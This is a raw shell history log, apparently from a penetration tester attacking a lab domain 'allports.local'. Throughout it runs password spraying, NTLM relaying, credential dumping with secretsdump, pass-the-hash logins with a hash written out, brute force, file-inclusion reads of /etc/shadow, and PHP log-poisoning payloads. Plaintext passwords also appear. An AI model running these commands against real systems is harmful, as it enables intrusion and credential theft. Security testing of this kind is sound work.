_raw: : 1760812627:0;./kerbrute bruteuser ~/sunsets.txt bfinn -d allports.local --dc 10.0.1.6


_raw: : 1760812617:0;./kerbrute bruteuser ~/sunsets.txt ecarter -d allports.local --dc 10.0.1.6


_raw: : 1760812612:0;secretsdump.py -no-pass -just-dc-ntlm 10.0.1.14


_raw: : 1760812608:0;secretsdump.py -no-pass -just-dc-ntlm 10.0.1.11


_raw:
clear
ls
cat password.txt
clear
ls
mkdir test
cd test
wget http://10.0.254.202:8000
ls
open index.html
wget http://10.0.254.202:8000/tcp-discovery.html
ls
open tcp-discovery.html
cd ~/Downloads
ls
rm 'kali-prep(1).sh'
python3 venv venv
python sudo apt update
sudo apt update
ls
chmod +x kali-prep.sh
./kali-prep.sh
ip a
responder -I eth0 -A
sudo responder -I eth0 -A
ntlmrelayx.py -smb2support -t ldap://10.0.1.20
clear
evil-winrm -i 10.0.1.6 -u 'APT-DC-01$' -H E9786C965BE0FDD2D6691C39A43E1BD6013CB6BA5D9F3B93
evil-winrm -i 10.0.1.6 -u 'APT-DC-01$' -H 13EC27ACFF8D21E600000000000000000000000000000000:E9786C965BE0FDD2D6691C39A43E1BD6013CB6BA5D9F3B93
cd ~
ls
clear
ldapsearch -x -b "dc=allports,dc=local" -H ldap://10.0.1.6
GetNPUsers.py -dc-ip 10.0.1.6 allports.local/bfinn
hydra -l bfinn -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.20 -t 4
nslookup 10.0.1.6 10.0.1.6
nslookup 10.0.1.6
ssh 10.0.1.10
ssh root@10.0.1.10
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10 -t 4
gobuster -u http://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.15 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/big.txt
clear
nxc smb 10.0.1.6 -u bfinn -p 'password1!'
nxc smb 10.0.1.6 -u bfinn -p 'Summer2025!'
sudo responder -I eth0 -A
sudo responder -I eth0
clear
sudo responder -I eth0 -A
clear
find / -iname "poner.db" 2>/dev/null
find / -type f -iname "ponder.db" 2>/dev/null
find / -type f -iname "Responder.db" 2>/dev/null
sudo rm /usr/share/responder/Responder.db
sudo responder -I eth0 -A
python3 -m venv venv
source venv/bin/activate
sudo responder -I eth0 -A
sudo ss -tuln | grep -E '1883|25|143|636|587'\
ip a
sudo responder -I eth0 -w
deactivate
find / -type f -iname "Responder.py" 2>/dev/null
sudo apt-get purge responder
sudo pip uninstall responder
python3 -m venv venv
sudo pip uninstall responder
sudo rm -rf /usr/share/responder\
cd /usr/share\
sudo git clone https://github.com/lgandx/Responder.git\
cd Responder\
sudo pip3 install -r requirements.txt\
python3 -m venv venv
ls
sudo Responder.py -i eth0
sudo Responder.py
sudo pip install responder\
cd ~
sudo pip install responder\
python3 -m venv venv
sudo pip install responder\
source venv/bin/activate
sudo pip install responder\
# make sure venv is active (you already have (venv) shown)\
pip install responder\
# then run responder from the venv\
responder -I eth0 -w\
sudo responder -I eth0
sudo apt update
sudo apt upgrade
pre2k -dc-ip 10.0.1.6 -d allports.local
pre2k -dc-ip 10.0.1.6
pre2k auth -dc-ip 10.0.1.6 -d allports.local
nxc smb 10.0.1.0/24 -u '' -p '' --shares
nxc smb 10.0.1.0/24 -u 'guest' -p '' --shares
rpcclient -U '' -N 10.0.1.6 -c enumdomusers
smbclient -N //10.0.1.6 -L
smbclient -N \\10.0.1.6 -L
smbclient -N -L //10.0.1.6
nxc smb 10.0.1.6 -u '' -p '' --users
mysql 10.0.1.99 -u root -p
mysql 10.0.1.99 -u root
mysql 10.0.1.99 -u root -p
mysql 10.0.1.99 -u root -p root
sudo responder -I eth0
clear
gobuster dir -u http://chat.allports.tours -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://chat.allports.tours -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirb/big.txt
ping chat.allports.tours
nslookup chat.allports.tours


_raw: : 1760812551:0;secretsdump.py -no-pass -just-dc-ntlm 10.0.1.6


_raw: : 1760812546:0;secretsdump.py -no-pass -just-dc-ntlm 10.0.1.20


_raw: : 1760812539:0;secretsdump.py -no-pass -just-dc-ntlm 10.0.1.21


_raw: : 1760812517:0;impacket-secretsdump.py -no-pass -just-dc-ntlm 10.0.1.21


_raw: : 1760812502:0;nikto -h http://chat.allports.tours


_raw: : 1760812493:0;nikto -h https://chat.allports.tours


_raw:
sudo nano /etc/hosts
cd
ls
cat password.txt
sudo nano /etc/hosts
clear
nano email.txt


_raw:
sudo nmap -sS -p 3306 --script "mysql-info,mysql-empty-password,mysql-users" 10.0.1.99\
# Full TCP port scan + service/version detection + OS detection + default NSE scripts\
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default 10.0.1.99 -Pn\
# Full TCP port scan + service/version detection + OS detection + default NSE scripts\
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default 10.0.1.20 -Pn\
ls
# simple endpoint fuzzing\
ffuf -u "http://10.0.1.15:8080/?route=FUZZ" \\
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \\
     -mc 200,302,403 -fs 0 -o ffuf_routes.json\
\
# focus on API-like endpoints\
ffuf -u "http://10.0.1.15:8080/?route=FUZZ" \\
     -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \\
     -mc 200,302 -o ffuf_api.json\
ffuf -u "http://10.0.1.15:8080/?route=FUZZ" \\
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \\
     -mc 200,302,403 -fs 0 -o ffuf_routes.json
curl -i -s -H "Accept: application/json" 'http://10.0.1.15:8080/?route=/api/v1/users'\
curl -i -s -H "X-Requested-With: XMLHttpRequest" 'http://10.0.1.15:8080/?route=/api/v1/users'\


_raw:
nikto -h 10.0.1.15
nikto -h http://10.0.1.15:8080
nikto -h http://10.0.1.15
nikto -h http://10.0.1.30
nikto -h http://10.0.1.30:8096
sudo nmap -p 8096 -sV --script=http-vuln* 10.0.1.30
sudo nmap -p 8096 -sV --script=http-vuln* 10.0.1.15
sudo nmap -p 8081 -sV --script=http-vuln* 10.0.1.15
sudo nmap -sU -T3 -p 53,67,69,123,161,500,514,1900 -sV --script "default" -oA udp-targeted-10.0.1.15 10.0.1.15
sudo nmap -sS -p 3306 --script "mysql-info,mysql-users,mysql-empty-password" 10.0.1.15 -oN mysql-info-10.0.1.15.txt
sudo netstat -tulpn | grep 3306
sudo nmap -sS -p 3306 --script mysql-empty-password 10.0.1.15 -oN mysql-empty-quick.txt
ls
nano mysql-empty-quick.txt
sudo nmap -sS -p- -T4 -sV -O --version-intensity 5 --script=default 10.0.1.21 -Pn
# enum4linux (comprehensive SMB/NetBIOS enumeration)\
enum4linux -a 10.0.1.21\
\
# smbclient to list shares (anonymous)\
smbclient -L //10.0.1.21 -N\
\
# rpcclient to query users/groups (anonymous/with creds)\
rpcclient -U "" 10.0.1.21\
# (press Enter when it asks for a password for anonymous)\
smbclient -L //10.0.1.21 -N
enum4linux -a 10.0.1.21
smbclient -L //10.0.1.21 -N
ls
mysql -h 10.0.1.11 -P 3306 -u root
mysql -h 10.0.1.15 -P 3306 -u root -p
# Basic sanity checks\
curl -si 'http://10.0.1.15:8080/?route=test'\
curl -si 'http://10.0.1.15:8080/?route=/'\
curl -si 'http://10.0.1.15:8080/?route=admin'\
curl -si 'http://10.0.1.15:8080/?route=../../etc/passwd'\
curl -si 'http://10.0.1.15:8080/?route=%2e%2e%2fetc%2fpasswd'
curl -si 'http://10.0.1.15:8080/?route=/api/v1/users'


_raw: : 1760812438:0;ffuf -u 'http://10.0.1.15:8080/?route=FUZZ' -w /usr/share/wordlists/dirb/common.txt -fs 1235


_raw: : 1760812430:0;ffuf -u 'http://10.0.1.15:8080/?route=FUZZ' -w /usr/share/wordlists/dirb/common.txt


_raw: : 1760812409:0;impacket-secretsdump.py -no-pass -just-dc-ntlm domain/ -target-ip 10.0.1.21


_raw:
cd ~
cd Desktop/gettoterminal/University-of-North-Georgia
ls
cd Useful
ls
cd SecLists
ls
cd Usernames
ls
pwd
ls -lal
cat xato-net-10-million-usernames-dup.txt | grep mdiaz -c10
cat xato-net-10-million-usernames-dup.txt | grep mdiaz -B10
cat xato-net-10-million-usernames-dup.txt | grep csanchez -B10
cat xato-net-10-million-usernames-dup.txt | grep hbrown -B10
ls
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
ls


_raw:
: 1760812339:0;sudo apt update\
sudo apt install --reinstall python3-impacket


_raw:
: 1760812337:0;# Install venv if not already present\
sudo apt install python3-venv\
\
# Create a virtual environment\
python3 -m venv impacket-env\
\
# Activate the environment\
source impacket-env/bin/activate\
\
# Now install impacket\
pip install impacket\


_raw: : 1760812329:0;hydra -L ~pentester/15/fifteenusers -P /usr/share/wordlists/rockyou.txt 10.0.1.15 mysql


_raw: : 1760812282:0;impacket-secretsdump.py -no-pass -just-dc-ntlm domain/ -target-ip 10.0.1.21~


_raw: : 1760812223:0;sudo apt install python3-impacket


_raw: : 1760812221:0;impacket-mssqlclient allports.local/boatgps@10.0.1.15 -windows-auth


_raw: : 1760812208:0;cp test.php /home/pentester/Desktop


_raw: : 1760812204:0;nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.21


_raw: : 1760812185:0;impacket-mssqlclient allports.local/boatgps:anchor2024@10.0.1.15 -windows-auth


_raw: : 1760812168:0;impacket-mssqlclient -windows-auth allports.local/boatgps:anchor2024@10.0.1.15


_raw: : 1760812077:0;sudo nmap -sV -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-enum-users -oN nmap-smb.txt 10.0.1.6


_raw: : 1760812016:0;ffuf -w othernums.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -fs 169


_raw: : 1760812001:0;ffuf -w othernums.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -fs 169


_raw: : 1760811991:0;ffuf -w othernums.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -v


_raw: : 1760811974:0;ffuf -w nums.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -v


_raw: : 1760811960:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -v


_raw: : 1760811956:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -vv


_raw:
chmod +w /etc/responder/Responder.conf
sudo chmod +w /etc/responder/Responder.conf
mousepad /etc/responder/Responder.conf
sudo chmod +w /etc/responder/Responder.conf
xfwm4
nano /etc/responder/Responder.conf
sudo nano /etc/responder/Responder.conf
mousepad /etc/responder/Responder.conf
responder -I eth0 -dwPv
sudo responder -I eth0 -dwPv
sudo responder responder -I eth0 -dwPv
sudo responder responder -I eth0 -dwPv -W off
sudo responder responder -I eth0 -dwPv -w off
sudo responder responder -I eth0 -dwPv -w
sudo responder responder -I eth0 -dwPv -w -F
sudo responder responder -I eth0 -dwPv -F
sudo responder responder -I eth0 -dwP
[200~nc 127.0.0.1 11000
nc 127.0.0.1 11000\
sudo responder responder -I eth0 -dwP
sudo responder responder -I eth0 -dwPv
sudo responder responder -I eth0 -dwP
dig@10.0.1.6 allports.loacl axfr
dig @10.0.1.6 allports.loacl axfr
dig @10.0.1.6 allports.loacl A +norecurse
dig @10.0.1.6 allports.local A +norecurse
smbclient -L \\\\site-file -N
smbclient -L \\\\10.0.1.20 -N
smbclient -L \\\\10.0.1.21 -N
sudo smbclient -L \\\\10.0.1.21 -N
sudo smbclient -L \\\\10.0.1.20 -N
git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git


_raw:
touch targets.txt
ls
nano targets.txt
ntlmrelayx.py -tf targets.txt -smb2support
impacket-ntlmrelayx.py -tf targets.txt -smb2support
git clone https://github.com/fortra/impacket.git
cd impacket
ls
python install -r requirements.txt
python -r requirements.txt
pip install -r requirements.txt
python3 -m venv pentest
python3 -s
source pentest/bin/activate
pip install -r requirements.txt
ls
setup.py
python ./setup.py
python setup.py install
ntlmrelay
ntlmrelayx.py
touch targets.txt
nano targets.txt
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -tf targets.txt -smb2support -i


_raw: : 1760811929:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -vv


_raw: : 1760811926:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -v


_raw: : 1760811922:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all -fc 404


_raw: : 1760811903:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://chat.allports.tours/reset_password?token=FUZZ -mc all


_raw:
#1760811850
impacket-mssqlclient  -windows-auth -target-ip 10.0.1.15


_raw: gobuster dir -u allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1760811747:0;./kerbrute bruteuser ~/sunsets.txt dcarter -d allports.local --dc 10.0.1.6


_raw: : 1760811740:0;./kerbrute bruteuser ~/sunsets.txt ecarter -d allports.local --dc 10.0.1.6


_raw: : 1760811636:0;./kerbrute bruteuser ~/sunsets.txt bfinn -d allports.local --dc 10.0.1.6


_raw:
ls
cat password.txt
nmap -sV -vv 10.0.1.15
nmap -sC -vv 10.0.1.15
mysql -u mysql 10.0.1.99
mysql -u mysql 10.0.1.99 -h
nmap -sC -vv -p 3306 --script mysql*
nmap -sC -vv -p 3306 --script mysql* 10.0.1.99
nmap -sC -vv -p 3306 --script mysql* 10.0.1.15
searchsploit mysql 5.7.44
nmap -sC -vv -p 3306 --script mysql* 10.0.1.11
vim /etc/hosts


_raw: : 1760811606:0;./kerbrute bruteuser ~/sunsets.txt ecarter -d allports.local --dc 10.0.1.6


_raw:
ls
cat password.txt
clear
nmap -T4 -A -p- 10.0.1.11 | tee 11nmapscan.txt
nmap -T4 -A -p- 10.0.1.30 | tee 30nmapscan.txt
gobuster dir -u http://10.0.1.30 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.30:8096 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o gobuster.txt
cd /usr/share/wordlists/dirb/
ls
gobuster dir -u http://10.0.1.30:8096 -w big.txt -x php,html,txt -t 50 -o gobuster.txt
cd
gobuster dir -u http://10.0.1.30:8096 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
ls
cat gobuster.txt
ls
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
nano /etc/hosts
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
amass enum -d 10.0.1.30:8096 -o amass.txt
ls
cat amass.txt
clear
ffuf -w vhosts.txt -u http://10.0.1.30:8096/ -mc 200,301,302 -fs 0
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.11/login -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster
gobuster dir -u http://10.0.1.11:30 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.11:30/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.11:80/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.11:8000/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.30:8096/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o gobuster11.txt
gobuster dir -u http://10.0.1.11:8096/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o gobuster11.txt
clear
python3 paramspider.py
clear
ls
cd Downloads
ls
cd ..
ls -a
ls -a -R
clear
gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.99:8080/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.11:30/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.11:80/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
clear
gobuster dir -u http://10.0.1.30:8096/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.1:8081/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.1:8045/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
clear
nmap -T4 -A -p- 10.0.1.6
clear
gobuster dir -u http://10.0.1.99:8080/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.15:8080/index.php -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
ls
clear
ffuf -u 10.0.1.15:8080/FUZZ -w /usr/share/seclists
sudo apt install -y seclists
apt install -y seclists
clear
nikto -h http:/10.0.1.30:8096
niko
nikto
clear
ls
clear
nikto -h 10.0.1.30:8096 -o scans/TARGET/nikto.text
clera
clear
nikto -h 10.0.1.30:8096 -o nikto.text
cat nikto.text
nikto -h 10.0.1.11 -o nikto.text
nikto -h 10.0.1.11:30 -o nikto.text
curl -i -X OPTIONS example.com
curl -i -X OPTIONS 10.0.1.30:8096
nikto -h 10.0.1.15:8080 -o nikto.text
curl -s 'http://10.0.1.15:8080/info.php?file=/etc/passwd' | head -n 50
curl -s 'http://10.0.1.15:8080/info.php?file=http://blog.cirt.net/rfiinc.txt' | sed -n '1,200p'\
curl -s 'http://10.0.1.15:8080/info.php?file=../../../../etc/passwd' | sed -n '1,200p'
curl -s 'http://10.0.1.15:8080/info.php' | grep -i -E 'allow_url_include|allow_url_fopen|disable_functions|open_basedir' -n\
curl -s 'http://10.0.1.15:8080/info.php?file=http://blog.cirt.net/rfiinc.txt' | sed -n '1,200p'\
curl -s 'http://10.0.1.15:8080/info.php?file=../../../../etc/passwd' | sed -n '1,200p'\
curl -s 'http://10.0.1.15:8080/info.php?file=../../../../var/log/apache2/access.log' | sed -n '1,120p'
clear
curl "http://10.0.1.15:8080/<?php system('id'); ?>"
curl "http://10.0.1.15:8080/%3C?php%20system('id');%20?%3E"\
curl -A "<?php system('id'); ?>" "http://10.0.1.15:8080/"
curl "http://10.0.1.15:8080/info.php?file=../../../../var/log/apache2/access.log"\
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"\
nikto -h 10.0.1.15:8080 -o nikto.text
curl -s 'http://10.0.1.15:8080/info.php?file=/etc/passwd'
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"\
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd" | grep etc
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd" | grep boatgps
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"
curl "http://10.0.1.19:8080/info.php?file=/etc/passwd"
curl "http://10.0.1.19:8080"
ping 10.0.1.19:8080
ls
clear
curl "http://10.0.1.19:8080/dahsboard"
curl "http://10.0.1.99:8080/info.php?file=/etc/passwd"
curl "http://10.0.1.99:8080/file=/etc/passwd"
curl "http://10.0.1.99:8080
curl "http://10.0.1.99:8080"
curl http://10.0.1.99:8080
nikto -h 10.0.1.99:8080 nikto99.txt
nikto -h 10.0.1.99:8080/dashboard nikto99.txt
nikto -h 10.0.1.99 nikto99.txt
clear
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"\
clear
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd" > info.php
cat info.php
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd" | grep boatgps
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd" | grep boatgp
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd" | grep DB_
grep -h
man grep
curl "http://10.0.1.15:8080/info.php?file=/etc/passwd"
curl "http://10.0.1.15:8080/info.php?file=../../../../var/log/apache2/access.log"\
curl "http://10.0.1.15:8080/info.php?file=../../../../var/log/apache2/access.log" | grep secret
curl "http://10.0.1.15:8080/info.php?file=../../../../var/log/apache2/access.log" | grep secret -i
curl -A "<?php system('id'); ?>" "http://10.0.1.15:8080/"
curl -s 'http://10.0.1.15:8080/info.php?file=../../../../var/log/apache2/access.log' | sed -n '1,120p'
clear
ls
cd ..
ls
cd
ls
clear
nikto -h 10.0.1.11:7700 -o nikto11.txt
nikto -h 10.0.1.11 -o nikto11.txt
nikto -h 10.0.1.30:8096 -o nikto11.txt
nikto -h 10.0.1.30
nikto -h 10.0.1.15:8091
clear
nikto -h 10.0.1.6
nikto -h 10.0.1.6:22
nikto -h 10.0.1.6:80
clear
curl 10.0.1.15:8090
curl 10.0.1.15:803434
curl 10.0.1.15:8034
curl 10.0.1.15:80
curl 10.0.1.15:4343
curl 10.0.1.15:8090
clear
curl 10.0.1.15:8090
curl 10.0.1.16
clear
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
gobuster dir -u http://10.0.1.15:8090 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
nikto -h 10.0.1.15:8090
nikto -h 10.0.1.99
nikto -h 10.0.1.99:8090
nikto -h 10.0.1.99:8080
nikto -h 10.0.1.15:8080
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt -t 50 -o gobuster.txt
nikto -h 10.0.1.11:21
nikto -h 10.0.1.11:80
clear
nikto -h 10.0.1.11:80
nikto -h 10.0.1.11:7700
nikto -h 10.0.1.11:80 -C
curl "http://10.0.1.15:8080/info.php?file=/etc/shadow"
curl "http://10.0.1.15:8080/info.php?file=/etc/shadow" | grep boat
curl "http://10.0.1.15:8080/info.php?file=/"
pwd
curl "http://10.0.1.15:8080/info.php?file=/home"
curl "http://10.0.1.15:8080/info.php?file=/home" | grep /home
curl "http://10.0.1.15:8080/info.php?file=/home"
curl "http://10.0.1.15:8080/info.php?file=/home" > Ineedthefullthing
less Ineedthefullthing
exit


_raw: : 1760811548:0;grep -r -i "pass" company_files


_raw: : 1760811532:0;grep -r -i "password" company_files


_raw: : 1760811526:0;echo "test" > ./phrase_wordlist.py


_raw: : 1760811493:0;./kerbrute bruteuser ~/sunsets.txt bfinn -d allports.local --dc 10.0.1.6


_raw: : 1760811479:0;./kerbrute bruteuser ~/sunsets.txt dcarter -d allports.local --dc 10.0.1.6


_raw: : 1760811471:0;impacket-smbclient allports.local/lpeterson:'Sails@way!'@10.0.1.6 --shares


_raw: : 1760811463:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 50


_raw: : 1760811456:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 60


_raw: : 1760811452:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 55


_raw: : 1760811446:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 50


_raw: : 1760811442:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 25


_raw: : 1760811435:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 20


_raw: : 1760811391:0;./kerbrute bruteuser ~/sunsets.txt ecarter -d allports.local --dc 10.0.1.6


_raw: : 1760811380:0;./kerbrute bruteuser ~/sunsets.txt ecarter -d allports.local --dc 10.0.1.6


_raw:
cd /usr/share/wordlists/dirbuster
ls
cd
clear
msfconsole


_raw: : 1760811301:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8081/FUZZ -mc all -fc 404


_raw: : 1760811301:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 1000


_raw: : 1760811293:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 100000


_raw: : 1760811280:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8080/FUZZ -mc all -fc 404


_raw: : 1760811276:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8080/FUZZ -mc all -fs 1236


_raw: : 1760811235:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 100


_raw: : 1760811225:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 1000


_raw: : 1760811210:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 500


_raw: : 1760811199:0;python3 ./phrase_wordlist.py "Sunsets as a Service" -o sunsets.txt --max 100


_raw: : 1760811196:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8080/?route=FUZZ -mc all -fs 1235


_raw: : 1760811194:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8080/?route=FUZZ -mc all -fs 1236


_raw: : 1760811190:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8080/?route=FUZZ -mc all -fc 404


_raw: : 1760811169:0;ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.15:8080/?route=FUZZ -mc all -fc 404


_raw: : 1760811017:0;ffuf -c -w pattern.txt:FUZZ -u http://FUZZ.rooms.allports.tours -t 40 -o rooms


_raw:
ls
cd ..
ls
cd spit
cd Spit
ls
cat README.md
chmod +x Spit.py
./Spit.py -h


_raw: : 1760810925:0;ffuf -c -w newtest.txt:FUZZ -u http://FUZZ.rooms.allports.tours -t 40 -o rooms


_raw:
: 1760810904:0;# nmap service detect\
sudo nmap -sV -p- --script=http-title,http-headers -oN nmap-gunicorn.txt 10.0.1.14 -v


_raw:
: 1760810896:0;# nmap service detect\
sudo nmap -sV -p- --script=http-title,http-headers -oN nmap-gunicorn.txt 10.0.1.14


_raw: : 1760810863:0;sublist3r -d allports.tours -t 1


_raw:
ls
sudo apt update
cat password.txt
sudo apt update
ls
which rustscan
sudo apt install rustscan
curl --proto '=https' --tlsv1.3 https://sh.rustup.rs -sSf | sh
which rustscan
echo "source $HOME/.cargo/env" >> ~/.zshrc
source ~/.zshrc
which rustscan
tail /etc/passwd
rustc --version
cd Downloads
ls
unzip rustscan.deb.zip
ls
dpkg -i rustscan_2.4.1-1_amd64.deb
sudo dpkg -i rustscan_2.4.1-1_amd64.deb
which rustscan
cd ..
ls
mkdir nmap
rustscan -a 10.0.1.6 -- -sCV -p- -oA nmap/APT-DC-01
ls nmap
ls
cd nmap
cd ..
rustscan -a 10.0.1.6 -- -sCV -oA nmap/APT-DC-01
rustscan -a 10.0.1.6 -- -sCV -vv -oA nmap/APT-DC-01
rustscan -a 10.0.1.20 -- -sCV -vv -oA nmap/DECKHAND-01
rustscan -a 10.0.1.21 -- -sCV -vv -oA nmap/DECKHAND-02
rustscan -a 10.0.1.1 -- -sCV -vv -oA nmap/10011
rustscan -a 10.0.1.6 -- -sCV -vv -oA nmap/10-0-1-6
rustscan -a 10.0.1.10 -- -sCV -vv -oA nmap/10-0-1-10
rustscan -a 10.0.1.11 -- -sCV -vv -oA nmap/10-0-1-11
rustscan -a 10.0.1.14 -- -sCV -vv -oA nmap/10-0-1-14
rustscan -a 10.0.1.254 -- -sCV -vv -oA nmap/10-0-1-254
curl rooms.allports.tours
ls
mkdir ADStuff
cd ADStuff
crackmapexec
crackmapexec --help
crackmapexec smb --help
crackmapexec smb -u '' -p '' 10.0.1.6
crackmapexec smb -u '' -p '' 10.0.1.6 --shares
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
crackmapexec smb 10.0.1.6 -u '' -p ''
crackmapexec smb 10.0.1.20 -u '' -p '' --shares
crackmapexec smb 10.0.1.21 -u '' -p '' --shares
crackmapexec --help
crackmapexec smb 10.0.1.21 --shares
crackmapexec smb 10.0.1.21
crackmapexec ldap 10.0.1.6
crackmapexec --help
crackmapexec rdp 10.0.1.6
nxc
nxc rdp 10.0.1.6
nxc rdp 10.0.1.20
nxc rdp 10.0.1.21
crackmapexec ftp --helpp
crackmapexec ftp --help
crackmapexec ftp -u '' -p '' 10.0.1.6
crackmapexec ftp -u '' -p '' 10.0.1.20
